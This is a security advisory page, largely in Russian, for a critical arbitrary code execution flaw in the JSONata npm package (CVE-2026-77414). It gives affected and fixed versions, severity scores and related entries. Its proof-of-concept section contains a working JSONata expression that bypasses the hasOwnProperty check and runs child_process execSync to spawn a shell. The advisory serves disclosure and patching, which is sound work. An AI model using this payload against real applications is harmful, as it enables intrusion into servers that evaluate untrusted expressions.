GHSA-2943-5xfg-gq5f

Опубликовано: 21 авг. 2026

Источник: github

Github: Прошло ревью

CVSS4: 9.3

Описание

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({});

Ссылки

Пакеты

Наименование

jsonata

npm

Затронутые версииВерсия исправления

>= 2.0.0, < 2.2.1

2.2.1

Наименование

jsonata

npm

Затронутые версииВерсия исправления

< 1.8.8

1.8.8

EPSS

Процентиль: 28%

0.00347

Низкий

9.3 Critical

CVSS4

CVE ID

CVE-2026-77414

Дефекты

CWE-94

Связанные уязвимости

CVE-2026-77414

nvd

около 1 месяца назад

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

BDU:2026-12627

CVSS3: 9.8

fstec

2 месяца назад

Уязвимость функции environment.lookup() модуля child_process программного средства преобразования json-данных JSONata, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 28%

0.00347

Низкий

9.3 Critical

CVSS4

CVE ID

CVE-2026-77414

Дефекты

CWE-94